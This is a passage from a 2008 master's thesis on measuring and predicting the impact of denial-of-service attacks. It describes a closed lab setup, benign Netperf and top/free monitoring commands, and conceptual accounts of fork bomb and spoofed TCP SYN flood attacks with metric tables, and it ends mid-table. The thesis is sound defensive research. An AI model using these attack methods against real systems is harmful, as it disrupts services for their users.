Impact Analysis of System and Network Attacks

Anupama Biswas
Utah State University

Follow this and additional works at: https://digitalcommons.usu.edu/etd

Part of the Computer Sciences Commons

Recommended Citation
https://digitalcommons.usu.edu/etd/199

This Thesis is brought to you for free and open access by the Graduate Studies at DigitalCommons@USU. It has been accepted for inclusion in All Graduate Theses and Dissertations by an authorized administrator of DigitalCommons@USU. For more information, please contact digitalcommons@usu.edu.
IMPACT ANALYSIS OF SYSTEM AND NETWORK ATTACKS

by

Anupama Biswas

A thesis submitted in partial fulfillment of the requirements for the degree of

MASTER OF SCIENCE

in

Computer Science

Approved:

Dr. Robert F. Erbacher Dr. Chad Mano
Major Professor Committee Member

Dr. Stephen W. Clyde Dr. Byron R. Burnham
Committee Member Dean of Graduate Studies

UTAH STATE UNIVERSITY
Logan, Utah

2008
ABSTRACT

Impact Analysis of System and Network Attacks

by

Anupama Biswas, Master of Science
Utah State University, 2008

Major Professor: Dr. Robert F. Erbacher
Department: Computer Science

Systems and networks have been under attack from the time the Internet first came into existence. There is always some uncertainty associated with the impact of the new attacks. Compared to the problem of attack detection, analysis of attack impact has received very little attention. Generalize and forecasting the kind of attack that will hit systems in future is not possible. However, it is possible to predict the behavior of a new attack and, thereby, the impact of the attack. This thesis proposes a method for predicting the impact of a new attack on systems and networks as well as the severity of the impact of the new attack. The prediction is based on the assumption that a future attack will be similar to already existing attacks. The severity of the attack depends on a few specific system/network parameters identified in this thesis. The cumulative effect of an attack is a summation of the behavior of these identified parameters during the attack. The suggested method is based on simulating a selected number of existing attacks, collecting the results of the impact of these attacks, and using them along with attack graphs to automatically detect the impact of a new attack. A formula is proposed for calculating the impact severity percentage, which is calculated as a percentage value of the impact of the known attack. This value will help identify critical points that need special care to ensure the readiness of a network or system to withstand an attack. (144 pages)
To my parents who are the largest source of motivation and encouragement in my life.
ACKNOWLEDGMENTS

My heartfelt thanks to my advisor, Dr. Robert Erbacher, for his constant support and guidance through the course of this research project and for his valuable feedback at every step. I would also like to thank Dr. Chad Mano whose computer security course served as a precursor for my research. My heartfelt thanks to Dr. Stephen Clyde whose object-oriented software development course helped me visualize and generate a lot of innovative ideas for my thesis. A big thank you to Myra Cook whose invaluable feedback helped to make my thesis presentable. I would like to thank the computer science security laboratory members as well as all the USU faculty with whom I have had the pleasure to work with. The entire journey would not have been possible without the prayers and encouragement of my family. Heartfelt thanks to my parents and my sister for believing in me and helping me achieve my dreams. Thanks to all my friends, especially Shalini Rathnavel and Steena Monteiro, for their constant moral support and feedback. Finally, I would like to offer my work at the lotus feet of my spiritual guru, Mata Amritanandmayi, whose blessings and teachings have always guided me through all the difficult times.

Anupama Biswas
# CONTENTS

<table>
<thead>
<tr>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ABSTRACT .......................................................................................................................... iii</td>
</tr>
<tr>
<td>ACKNOWLEDGMENTS ............................................................................................................... v</td>
</tr>
<tr>
<td>LIST OF TABLES .................................................................................................................. vii</td>
</tr>
<tr>
<td>LIST OF FIGURES ............................................................................................................... ix</td>
</tr>
<tr>
<td>1 INTRODUCTION .................................................................................................................. 1</td>
</tr>
<tr>
<td>1.1 Importance of Analyzing Impact of Novel Attacks .................................................... 1</td>
</tr>
<tr>
<td>1.2 Related Work .............................................................................................................. 2</td>
</tr>
<tr>
<td>2 METHODOLOGY .................................................................................................................. 6</td>
</tr>
<tr>
<td>2.1 The Approach Adopted for Impact Analysis ............................................................... 6</td>
</tr>
<tr>
<td>2.2 Experimentation .......................................................................................................... 7</td>
</tr>
<tr>
<td>2.2.1 Simulation Setup .................................................................................................. 7</td>
</tr>
<tr>
<td>2.2.2 Simulation of Selected Attacks ............................................................................. 11</td>
</tr>
<tr>
<td>2.3 Observations of the Impact of the Simulated Attacks ............................................... 32</td>
</tr>
<tr>
<td>3 IMPACT ANALYSIS ALGORITHM AND CALCULATION OF IMPACT SEVERITY PERCENTAGE ......................................................................................................................... 33</td>
</tr>
<tr>
<td>3.1 Function Definition for Mapping Novel Attacks to Simulated Attacks ....................... 33</td>
</tr>
<tr>
<td>3.1.1 Assumptions ......................................................................................................... 34</td>
</tr>
<tr>
<td>3.1.2 Function Definition ............................................................................................. 34</td>
</tr>
<tr>
<td>3.2 Impact Analysis Algorithm ....................................................................................... 36</td>
</tr>
<tr>
<td>4 AUTOMATED APPROACH TO IMPACT ANALYSIS FOR SYSTEM AND NETWORK ATTACKS ........................................................................................................................................ 38</td>
</tr>
<tr>
<td>4.1 Attack Graphs ............................................................................................................ 38</td>
</tr>
<tr>
<td>4.2 Representation of Impact Analysis Graph ................................................................... 39</td>
</tr>
<tr>
<td>4.3 Configuration File and Attacker’s Profile .................................................................. 40</td>
</tr>
<tr>
<td>4.4 Attack Template ....................................................................................................... 41</td>
</tr>
<tr>
<td>4.5 Attack Templates for Simulated Attacks .................................................................... 46</td>
</tr>
<tr>
<td>5 PROOF OF CONCEPT ...................................................................................................... 56</td>
</tr>
<tr>
<td>5.1 Description of the Novel Attack ................................................................................ 56</td>
</tr>
<tr>
<td>5.2 Analyzing the Impact of the Attack and Calculating the Impact Severity Percentage .... 57</td>
</tr>
</tbody>
</table>
5.3 Generating an Impact Analysis Graph for the Novel Attack ............................................ 59

6 CONCLUSION AND FUTURE WORK ................................................................. 62

   6.1 Contribution ........................................................................................................ 62
   6.2 Future Work ....................................................................................................... 62

REFERENCES ............................................................................................................. 64

APPENDICIES ............................................................................................................ 66

Appendix A .............................................................................................................. 67
Appendix B ............................................................................................................... 113
Appendix C ............................................................................................................... 135
### LIST OF TABLES

<table>
<thead>
<tr>
<th>Table</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>2.1</td>
<td>Command Options for <code>top</code> Command................................. 9</td>
</tr>
<tr>
<td>2.2</td>
<td>System Configuration for Attack Simulation.......................... 11</td>
</tr>
<tr>
<td>2.3</td>
<td>Threshold Values of the System and Network Before the Attack........ 13</td>
</tr>
<tr>
<td>2.4</td>
<td>Performance Metric Values During Fork Bomb Attack with Login as ‘Root’........ 13</td>
</tr>
<tr>
<td>2.5</td>
<td>Performance Metric Values During Fork Bomb Attack with Login as ‘anupama’........ 13</td>
</tr>
<tr>
<td>2.6</td>
<td>Performance Metric Values During TCP_SYN Attack............................ 16</td>
</tr>
<tr>
<td>2.7</td>
<td>Performance Metric Values During UDP Flood Attack........................... 17</td>
</tr>
<tr>
<td>2.8</td>
<td>Performance Metric Values During ICMP Flood Attack.......................... 19</td>
</tr>
<tr>
<td>2.9</td>
<td>Performance Metric Values During Smurf Attack............................. 21</td>
</tr>
<tr>
<td>2.10</td>
<td>Performance Metric Values During LAND Attack............................... 23</td>
</tr>
<tr>
<td>2.11</td>
<td>Performance Metric Values During Nestea Attack............................ 25</td>
</tr>
<tr>
<td>2.12</td>
<td>Performance Metric Values During Banana Attack............................. 27</td>
</tr>
<tr>
<td>2.13</td>
<td>Performance Metric Values During ICMP Echo Reply Attack..................... 29</td>
</tr>
<tr>
<td>2.14</td>
<td>Performance Metric Values During Fraggle Attack............................. 31</td>
</tr>
<tr>
<td>4.1</td>
<td>Database Design Used for Drawing Impact Analysis Graphs................. 42</td>
</tr>
<tr>
<td>5.1</td>
<td>Performance Metric Values During Novel Attack............................... 57</td>
</tr>
</tbody>
</table>
## LIST OF FIGURES

<table>
<thead>
<tr>
<th>Figure</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>2.1</td>
<td>Topology of the attack simulation setup</td>
</tr>
<tr>
<td>2.2</td>
<td>A snapshot of <code>top</code> command output</td>
</tr>
<tr>
<td>2.3</td>
<td>A snapshot of <code>free</code> command output</td>
</tr>
<tr>
<td>2.4</td>
<td>Communication among various systems before the attack</td>
</tr>
<tr>
<td>2.5</td>
<td>Systems unable to communicate after the Fork bomb attack is launched</td>
</tr>
<tr>
<td>2.6</td>
<td>Performance of various parameters when under attack with username ‘Root’</td>
</tr>
<tr>
<td>2.7</td>
<td>Performance of various parameters when under attack with username ‘anupama’</td>
</tr>
<tr>
<td>2.8</td>
<td>Systems unable to communicate after TCP_SYN attack is launched</td>
</tr>
<tr>
<td>2.9</td>
<td>Performance of various parameters when under TCP_SYN attack</td>
</tr>
<tr>
<td>2.10</td>
<td>Systems unable to communicate after UDP flood attack is launched</td>
</tr>
<tr>
<td>2.11</td>
<td>Performance of various parameters when under UDP flood attack</td>
</tr>
<tr>
<td>2.12</td>
<td>Systems unable to communicate after ICMP flood attack is launched</td>
</tr>
<tr>
<td>2.13</td>
<td>Performance of various parameters when under ICMP flood attack</td>
</tr>
<tr>
<td>2.14</td>
<td>Systems unable to communicate after Smurf attack is launched</td>
</tr>
<tr>
<td>2.15</td>
<td>Performance of various parameters when under Smurf attack</td>
</tr>
<tr>
<td>2.16</td>
<td>Systems unable to communicate after LAND attack is launched</td>
</tr>
<tr>
<td>2.17</td>
<td>Performance of various parameters when under LAND attack</td>
</tr>
<tr>
<td>2.18</td>
<td>Systems unable to communicate after Nestea attack is launched</td>
</tr>
<tr>
<td>2.19</td>
<td>Performance of various parameters when under Nestea attack</td>
</tr>
<tr>
<td>2.20</td>
<td>Systems unable to communicate after Banana attack is launched</td>
</tr>
<tr>
<td>2.21</td>
<td>Performance of various parameters when under Banana attack</td>
</tr>
<tr>
<td>2.22</td>
<td>Systems unable to communicate after ICMP echo reply attack is launched</td>
</tr>
<tr>
<td>2.23</td>
<td>Performance of various parameters when under ICMP echo reply attack</td>
</tr>
</tbody>
</table>
1.1 Importance of Analyzing Impact of Novel Attacks

Computers are an indispensible part of our lives. With the expansion of the Internet, there is a lot of information that flows across it. The number of ecommerce activities is increasing daily. People prefer to do everything online, starting from searching for the best deals to online banking for various businesses and personal transactions. Hence, securing information as well as the corresponding devices over which the information travels is of utmost importance. Every day, thousands of computers are attacked in cyberspace, which results in a major impact on businesses and services [11]. The popular cyber attacks on Yahoo.com, Register.com, Ebay.com, Buy.com, Amazon.com and news sites such as CNN.com, to name a few, bear testimony to this fact. Though in most cases the services are rerouted through different ISPs, there is a service degradation that incurs business losses. Users have to pay incremental bandwidth cost for the increased bandwidth usage due to the attack traffic. This, in turn, causes inconveniences in service which result in dissatisfaction among customers. Companies can suffer from heavy financial losses, as cyber attacks can have a negative impact on the attacked company's brand value, thus influencing clients to take their business to competitor companies [2]. It is also critical for the organization to keep communicating during and after the attack, within as well as with the outside world.

The nature of attacks has become complex [6]. Attacks vary and change in their behavior and target. Operating systems such as Windows/Linux, PalmOS along with other types of devices, such as printers, network interface cards to name a few, are also affected by attacks. The severity of the attack impact depends on its type. In worst cases, the system reboots, when it is attacked. Though the victim’s data is still safe and the attack impact is on a smaller scale, any unsaved data is lost. However, if the target victims are email servers, web servers or file storage
servers, the attack’s impact is likely to be more severe. In worst case, there is a high probability of information loss if the server crashes. In a similar line, impact of an attack on any network is on a larger scale since it affects overall network performance, which is felt by the service providers as well as the users of the service. It is not possible to provide complete protection to a system/network. Neither is it possible to generalize and forecast the kind of attack that will hit systems in future. However, it is possible to predict the behavior of a new attack and thereby the impact of the attack. Such predictions are based on the assumption that a new attack will have some behavioral similarities with existing attacks. Using this logic, impact analysis can help administrators in identifying the services that are likely to be affected by a future attack, thus potentially preventing an attack from permeating to users. Impact analysis helps administrators to identify the impact of an attack on services considered critical for business operations. Depending on how critical the service, the corresponding attack’s impact can be prioritized, and damages can be mitigated. One possible solution is that the identified critical services can be made available in backup servers that function when main servers are under attack. While the main server is recovering from an attack, backup servers continue to provide services to clients. Additionally, impact analysis helps administrators identify critical points in a network so redundancy can be introduced in the network’s architecture.

Impact analysis also helps in handling zero-day attacks. Such attacks can be directed to any kind of device or software, and they have no solution. Hence, attackers have an edge over security officials for the simple reason that no patches are available to take care of the vulnerability. Security officials are caught off guard in the midst of such an attack, causing loss of money and time. With impact analysis, security officials can predict the impact of a new attack on a system/network, thus helping them in handling such situations faster.

1.2 Related Work

Compared to detection of attack and their analysis, analysis of attack impacts has
received very little attention. An agent-based attack impact prediction system [10], which uses agents to monitor a network for attacks at various points or nodes, is a possible model for impact analysis. If there is a network attack, the corresponding agent determines the impact of that node. If the node exceeds a predefined severity threshold value, the agent takes the required action. A risk equation that calculates the severity of the impact helps predict the impact of an attack on computer networks. However, agents only monitor a network; hence, the suggested method is useful for network attacks and not for system attacks such as a fork bomb attack. In such an attack, there is a negligible effect on network performance though there is high impact on the system performance. Given the assumption that new attacks are usually similar to already existent attacks and because current attacks are on networks and systems, future attacks will, in all likelihood, impact systems as well as networks. This prediction guides preventive actions accordingly.

System/network performance is always proportional to the intensity of the attack impact. The authors of [8] and [9] suggest a number of DDoS attack; however, they do not suggest any techniques or metrics to measure performance degradation. To measure a reduction in performance, it is highly desirable to identify the metrics that are impacted by the attack. In [12], Harari suggests a metric abnormality distance ratio (ADR) to quantify the component/resource’s operational state for identifying critical components that can severely impact a network. However, my proposed method moves beyond this one metric. This thesis identifies the following additional metrics such as CPU usage, memory usage, disk usage, and network bandwidth usage, to measure the performance. The severity of the impact of the new attack is a summation of the impact of the attack on the identified metrics, and it is represented as a percentage of the impact of the similar existing attacks. Though in [6], Harari suggests a framework to measure the impact of attacks and faults on network performance and services, my proposed method provides better accuracy in predicting the degradation of system/network performance due to new attacks [11]. The calculated impact percentage will help security officials
to identify critical points that need special care, thus helping ensure readiness for an impending attack [5][7].

The impact of novel attacks carries a lot of uncertainty. Few, if any, solutions for handling a novel attacks exist. My research is a step toward rectifying this problem. I suggest a method for predicting the impact of a novel attack based on assessing the impact of already existing attacks. I do this based on the assumption that a novel attack shares behavioral similarities with existing attacks. Though my research is primarily focused on denial of service attacks [6], the analysis can be extended to other types of attacks, such as gaining root access to a remote machine, wherein the attack results in loss of information. It has been predicted that we are nearing a cyber war that could result in breach of national security. Impact analysis could be used to fight against such situations by providing alternate solutions to safeguard national interests.

As a precursor to my research, I compiled a background study of 300-plus attacks. The study shows that attacks bear a similarity to each other. The list of attacks is available in Appendix A. I selected some of the attacks from the background study for simulation in the Security Laboratory of Utah State University’s Computer Science Department. Chapter 2 discusses each of the selected attacks with an attack scenario, description, and experimental setup, as well as the attack’s impact on a system/network. The damage an attack incurs on a target is the measurement for the impact of an attack. Though there are lots of metrics available that can be used to measure the performance of a system/network, my research limits them to a small number while suggesting a formula of how to use those metric values to calculate the impact severity percentage of the new attack. The calculated value helps to predict the degree of attack impact. Chapter 3 presents an algorithm for how the entire process can be used along with the details about the computation of the impact severity percentage. Chapter 4 describes automating the impact analysis using attack graphs, one of the novel approaches of this research. The suggested methods are theoretical in nature. Chapter 5 provides a proof of concept of the suggested method. There is a lot of scope for improvement in this area of research. Chapter 6 presents a detailed
discussion of possible extension of this research, along with the individual contributions made in this project.
2.1 The Approach Adopted for Impact Assessment

Payne sums up the severity of the impact of attacks on systems and networks [13]: “A concerted, coordinated and focused attack against the network and computer system of United States, including its civilian, economic and monetary systems and power or telecommunications infrastructure would be devastating.” Computer network attacks are launched at very high rates, almost daily. The level of sophistication of the attacks is also increasing exponentially. Attacks can vary widely, including system-level attacks, denial of service attacks, viruses/worms, or application level attacks. Identifying such attacks as well as assessing their impact is a challenge due to the continual change in software configuration, the variety of network protocols and services being offered and deployed, and the extreme complexity of the asynchronous behaviors of attacks. However, if one can assume that a new attack is similar to existing attacks, it is possible to predict a new attack’s behavior as well as its impact. I corroborated this assumption through a background study of 300-plus attacks. The study extended over a period of time and approximately included all possible types of attacks. For detailed information, see Appendix A.

This chapter discusses the simulation of a few selected attacks, an approach adopted for impact assessment of novel attacks. I selected the attacks based on their type, their impact on the target system/network as well as the ease of simulation within the limited infrastructure. The threshold values of the selected metrics identify the performance of the attack target. A possible set of metrics that can be used for measuring the performance are CPU utilization, memory usage, rate of incoming TCP packets, rate of outgoing TCP packets, rate of incoming UDP packets, rate of outgoing UDP packets, disk usage, ARP request rate, and network bandwidth usage. The ones identified for this research are CPU usage, memory usage, disk usage, and network bandwidth usage. Threshold values are the values under which system/network performance is optimal, and
these values have been pre-calculated for the selected metrics.

2.2 Experimentation

This section provides a brief description of the selected attacks along with the simulation setup and mechanism. The attacks can be categorized as system or network attacks depending on the target. The various attacks selected for simulation are Fork bomb attack, TCP_SYN attack, UDP flood attack, ICMP flood attack, Smurf attack, Fraggle attack, LAND attack, Banana attack, ICMP echo reply attack, and Nestea attack [1][2][3][4][6]. I simulated the attacks to measure the impact of the attack on the identified performance metrics over a period of time. The corresponding results follow in the sections below. Needless to say, I performed the attack simulations in a controlled environment so the school network was not affected.

2.2.1 Simulation Setup

The simulation setup in the Computer Security Laboratory, the lab, consists of three systems and a Dlink wireless router [3], as shown in Figure 2.1. Each of the systems is installed with a different flavor of Linux and has all the default services running in it. The Dlink wireless router is an 802.11 a/g router and has a WAN port along with 4 LAN ports. Each of the machines is connected to the LAN port of the router using a straight cable. The router has an inbuilt DHCP server that assigns IP addresses dynamically to each of the connected machines. Each of the machines plays the role of an attack target, attacker, or client, as shown in Table 2.1. Because successful attacks served my purposes, all firewalls were disabled in all systems.

Appendix B contains the source code of the attack tools. Appendix C contains the firewall rules for each of the systems. Each of the attack simulations required a separate program to be executed in the attacker’s machine. For all the attack simulations, I measured network throughput using the Netperf-2.4.1, which is installed in Adam and Mary.
Figure 2.1 Topology of the attack simulation setup.

Netperf’s design is basic client-server architecture. There are two executables - Netperf and NetServer. After installing Netperf on a particular machine, I made the following entry in the corresponding machine’s /etc/services file:

```
netperf 12865/tcp
```

The following command starts NetServer in Adam:

```
[root@Adam Desktop]# netserver -p 12685
Starting netserver at port 12685
Starting netserver at hostname 0.0.0.0 port 12685 and family AF_UNSPEC
[root@Adam Desktop]
```

NetServer (in Adam) listens for any incoming request from the Netperf client at port number 12685. Netperf client is started in Mary. Once the attack starts, Mary sends the following command after regular time intervals:

```
Mary:/root # netperf -H 192.168.0.100
```

The following output display appears on Mary:

```
TCP STREAM TEST from 0.0.0.0 (0.0.0.0) port 0 AF_INET to 192.168.0.100 (192.168.0.100) port 0 AF_INET
Recv Socket  Send Socket  Send Message  Elapsed Time Throughput 10^6bits/sec
Size bytes  Size bytes  Size bytes  in seconds
87380      16384       16384       10.15       94.14
```
Each of the system’s performance metrics is measured using the Linux inbuilt tools `top` and `free`. `top` provides an ongoing look at processor activity in real time. It displays a listing of the most CPU-intensive tasks on the system, and provides an interactive interface for manipulating processes (see Table 2.1 and Figure 2.2). It sorts the tasks by CPU usage, memory usage and runtime. Most features can either be selected by an interactive command or by specifying the feature in the personal or system-wide configuration file. The display is updated every five seconds. The syntax of the command is as follows:

```
top [-] [d delay] [p pid] [q] [c] [C] [S] [s] [i] [n iter] [b]
```

The `free` command provides information about unused and used memory and swap space on any computer running Linux.

The basic syntax of `free` is as follows:

```
free [options]
```

<table>
<thead>
<tr>
<th>Option</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>-d</code></td>
<td>Specifies the delay between screen updates. You can change this with the <code>s</code> interactive command.</td>
</tr>
<tr>
<td><code>-p</code></td>
<td>Monitor only processes with given process id. This flag can be given up to twenty times. This option is neither available interactively nor can it be put into the configuration file.</td>
</tr>
<tr>
<td><code>-q</code></td>
<td>This causes <code>top</code> to refresh without any delay. If the caller has superuser privileges, top runs with the highest possible priority.</td>
</tr>
<tr>
<td><code>-S</code></td>
<td>Specifies cumulative mode, where each process is listed with the CPU time that it as well as its dead children has spent.</td>
</tr>
<tr>
<td><code>-s</code></td>
<td>Tells <code>top</code> to run in secure mode. This disables the potentially dangerous of the interactive commands (see below). A secure <code>top</code> is a nifty thing to leave running on a spare terminal.</td>
</tr>
<tr>
<td><code>-i</code></td>
<td>Start <code>top</code> ignoring any idle or zombie processes. See the interactive command <code>i</code> below.</td>
</tr>
<tr>
<td><code>-C</code></td>
<td>display total CPU states instead of individual CPUs. This option only affects SMP systems.</td>
</tr>
<tr>
<td><code>-c</code></td>
<td>display command line instead of the command name only. The default behavior has been changed as this seems to be more useful.</td>
</tr>
<tr>
<td><code>-b</code></td>
<td>Batch mode. Useful for sending output from <code>top</code> to other programs or to a file. In this mode, <code>top</code> will not accept command line input. It runs until it produces the number of iterations requested with the <code>n</code> option or until killed. Output is plain text suitable for display on a dumb terminal.</td>
</tr>
<tr>
<td><code>-n</code></td>
<td>Number of iterations. Update the display this number of times and then exit.</td>
</tr>
</tbody>
</table>
top - 10:43:34 up 1 min, 2 users, load average: 2.68, 0.90, 0.32
Tasks: 136 total, 1 running, 135 sleeping, 0 stopped, 0 zombie
Cpu(s): 18.0%us, 6.4%sy, 0.3%ni, 48.3%id, 26.8%wa, 0.1%hi, 0.1%si, 0.0%st
Mem: 206536k total, 522256k used, 1543280k free, 16584k buffers
Swap: 2097144k total, 0k used, 2097144k free, 176396k cached

Figure 2.2. A snapshot of the top command output.

free accepts no arguments (i.e., input data) and is commonly used without any options. When used with no options, free presents a small table containing six columns and three rows of data, all expressed in kilobytes. The first row, labeled Mem, displays physical memory utilization, including the amount of memory allocated to buffers and caches. The second line of data, which begins with -/+ buffers/cache, shows the amount of physical memory currently devoted to system buffer cache. The third row, which begins with Swap, shows the total swap space as well as how much of it is currently in use and how much is still available. Several options are available to change the unit of display for free from its default kilobytes, including -b for bytes, -m for megabytes and -g for gigabytes. Of these, -m is usually the most useful. Figure 2.3 shows the output for free -m.

Netinjector is the tool that consists of all the attack programs required for simulating each of the attacks. Each type of attack simulation has a corresponding program executed. Table
2.2 shows the various other tools installed in the systems for attack simulation.

```
[root@anupama ~]# free -m
              total  used   free  shared buffers  cached
Mem:          2017  567  1449 0       21    214
-/+ buffers/cache: 330 1686
Swap:         2047 0 2047
[root@anupama ~]#
```

Figure 2.3. A snapshot of the `free` command output.

<table>
<thead>
<tr>
<th>Attacker PC (Eve)</th>
<th>Target PC(Adam)</th>
<th>Client PC(Mary)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Fedora Core 8</td>
<td>Open Suse Linux</td>
<td>Open Suse Linux</td>
</tr>
<tr>
<td>Netinjection</td>
<td>Netperf Server</td>
<td>Netperf Client</td>
</tr>
<tr>
<td></td>
<td>Apache Web Server</td>
<td>Wireshark</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Wireshark</td>
<td></td>
</tr>
</tbody>
</table>

Table 2.2. System Configuration for Attack Simulation.

2.2.2 Simulation of Selected Attacks

The following sections describe each of the selected attacks, the simulation setup, and results. Each section contains a corresponding diagrammatic view of the communication among systems while the attack is in progress. Figure 2.4 shows the initial setup for the attack simulations.

Fork Bomb Attack. This is a denial of service attack against a computer system which uses fork() operation to make the system incapable of usage unless rebooted. A number of child processes are created that fill up the attacked process table. The program `fork.c` (available in Appendix B) initiates the bomb in `Adam`, and Netperf is started in `Mary`. `Top` and `free` are also started via a script after regular intervals during the attack. Figure 2.5 shows the communication state of the systems after the attack is launched.
**Fork Bomb Attack Experiment Results.** Table 2.3 shows the initial threshold values of the system under attack. Tables 2.4 and 2.5 show the change in performance metric values during the attack. Figures 2.6 and 2.7 show the values of various parameters over a period of time when the system is under a fork bomb attack.

![Diagram](image)

**Figure 2.4.** Communication among various systems before the attack.

![Diagram](image)

**Figure 2.5.** Systems unable to communicate after the fork bomb attack is launched.
Table 2.3. Threshold Values of the System and Network Before the Attack.

<table>
<thead>
<tr>
<th>Parameters Evaluated</th>
<th>Login : Root</th>
<th>Login: Anupama</th>
</tr>
</thead>
<tbody>
<tr>
<td>CPU Usage (%)</td>
<td>45%</td>
<td>20%</td>
</tr>
<tr>
<td>Memory Usage (%)</td>
<td>45%</td>
<td>20%</td>
</tr>
<tr>
<td>Disk Usage (%)</td>
<td>72%</td>
<td>65%</td>
</tr>
<tr>
<td>Throughput(10^6)bits/sec</td>
<td>94.13</td>
<td>94.13</td>
</tr>
</tbody>
</table>

Table 2.4. Performance Metric Values During Fork Bomb Attack with Login as ‘Root’.

<table>
<thead>
<tr>
<th>Login</th>
<th>Parameters/Time(in mins)</th>
<th>0</th>
<th>15</th>
<th>30</th>
<th>45</th>
<th>60</th>
<th>75</th>
<th>90</th>
<th>105</th>
<th>120</th>
<th>135</th>
<th>150</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>CPU Usage (%)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>45%</td>
<td>47.00</td>
<td>49.00</td>
<td>51.00</td>
<td>53.00</td>
<td>55.00</td>
<td>57.00</td>
<td>59.00</td>
<td>59.00</td>
<td>59.00</td>
<td>59.00</td>
</tr>
<tr>
<td></td>
<td>Memory Usage (%)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>45.00</td>
<td>49.00</td>
<td>50.00</td>
<td>53.00</td>
<td>53.00</td>
<td>57.00</td>
<td>59.00</td>
<td>60.00</td>
<td>61.00</td>
<td>61.00</td>
<td>61.00</td>
</tr>
<tr>
<td></td>
<td>Disk Usage (%)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>72.00</td>
<td>72.00</td>
<td>72.00</td>
<td>72.00</td>
<td>72.00</td>
<td>72.00</td>
<td>72.00</td>
<td>72.00</td>
<td>72.00</td>
<td>72.00</td>
<td>72.00</td>
</tr>
<tr>
<td>NW BW Usage (%)</td>
<td></td>
<td>0.00</td>
<td>0.00</td>
<td>0.10</td>
<td>0.10</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
</tr>
</tbody>
</table>

Table 2.5 Performance Metric Values During Fork Bomb Attack with Login as ‘anupama’.

<table>
<thead>
<tr>
<th>Login</th>
<th>Parameters/Time(in mins)</th>
<th>0</th>
<th>15</th>
<th>30</th>
<th>45</th>
<th>60</th>
<th>75</th>
<th>90</th>
<th>105</th>
<th>120</th>
<th>135</th>
<th>150</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>CPU Usage (%)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>20.00</td>
<td>47.00</td>
<td>49.00</td>
<td>51.00</td>
<td>53.00</td>
<td>53.00</td>
<td>60.00</td>
<td>70.00</td>
<td>80.00</td>
<td>85.00</td>
<td>90.00</td>
</tr>
<tr>
<td></td>
<td>Memory Usage (%)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>20.00</td>
<td>47.00</td>
<td>49.00</td>
<td>51.00</td>
<td>53.00</td>
<td>55.00</td>
<td>57.00</td>
<td>57.00</td>
<td>59.00</td>
<td>59.00</td>
<td>59.00</td>
</tr>
<tr>
<td></td>
<td>Disk Usage (%)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>65.00</td>
<td>65.00</td>
<td>65.00</td>
<td>65.00</td>
<td>65.00</td>
<td>65.00</td>
<td>65.00</td>
<td>65.00</td>
<td>65.00</td>
<td>65.00</td>
<td>65.00</td>
</tr>
<tr>
<td>NW BW Usage</td>
<td></td>
<td>0.00</td>
<td>0.00</td>
<td>0.10</td>
<td>0.10</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
</tr>
</tbody>
</table>
Figure 2.6. Performance of various parameters when under attack with username ‘Root’.

Figure 2.7 Performance of various parameters when under attack with username ‘anupama’.
TCP_SYN Flood Attack. The TCP_SYN flood attack exploits the vulnerability of the TCP stack implementation. It is a distributed denial of service (DDoS) attack. In this simulation, using the program `tcpsyn.c` (available in Appendix B), Eve sends out a lot of TCP_SYN packets to Adam with spoofed source IP addresses. TCP_SYN packets are sent out as a part of an initial three-way handshake between two computers. Each time Adam receives a request, it allocates some CPU and memory to process the request. Since the requests are incomplete handshakes, the resources are not set free, and CPU as well as memory resources of Adam reach a saturation point. The heavy load of TCP_SYN packets also floods the network. Thus, after a certain amount of time, the Netperf client is unable to connect to the server. Figure 2.8 shows the communication state of the systems after the attack is launched.

TCP_SYN Flood Attack Experiment Results. Table 2.6 shows the change in performance metric values during the attack. Figure 2.9 shows the values of various parameters over a period of time when the system is under a TCP_SYN attack.

![Diagram](image-url)

Figure 2.8. Systems unable to communicate after the TCP_SYN attack is launched.
Table 2.6. Performance Metric Values During TCP_SYN Attack.

<table>
<thead>
<tr>
<th>Parameters/Time(in mins)</th>
<th>0</th>
<th>15</th>
<th>30</th>
<th>45</th>
<th>60</th>
<th>75</th>
<th>90</th>
<th>105</th>
<th>120</th>
<th>135</th>
<th>150</th>
</tr>
</thead>
<tbody>
<tr>
<td>CPU Usage (%)</td>
<td>49.86</td>
<td>50.26</td>
<td>50.89</td>
<td>51.52</td>
<td>52.14</td>
<td>52.53</td>
<td>53.10</td>
<td>53.21</td>
<td>53.35</td>
<td>53.97</td>
<td>54.45</td>
</tr>
<tr>
<td>Memory Usage (%)</td>
<td>44.12</td>
<td>45.55</td>
<td>45.98</td>
<td>46.22</td>
<td>46.07</td>
<td>46.27</td>
<td>46.64</td>
<td>46.82</td>
<td>47.09</td>
<td>47.92</td>
<td>48.50</td>
</tr>
<tr>
<td>Disk Usage (%)</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
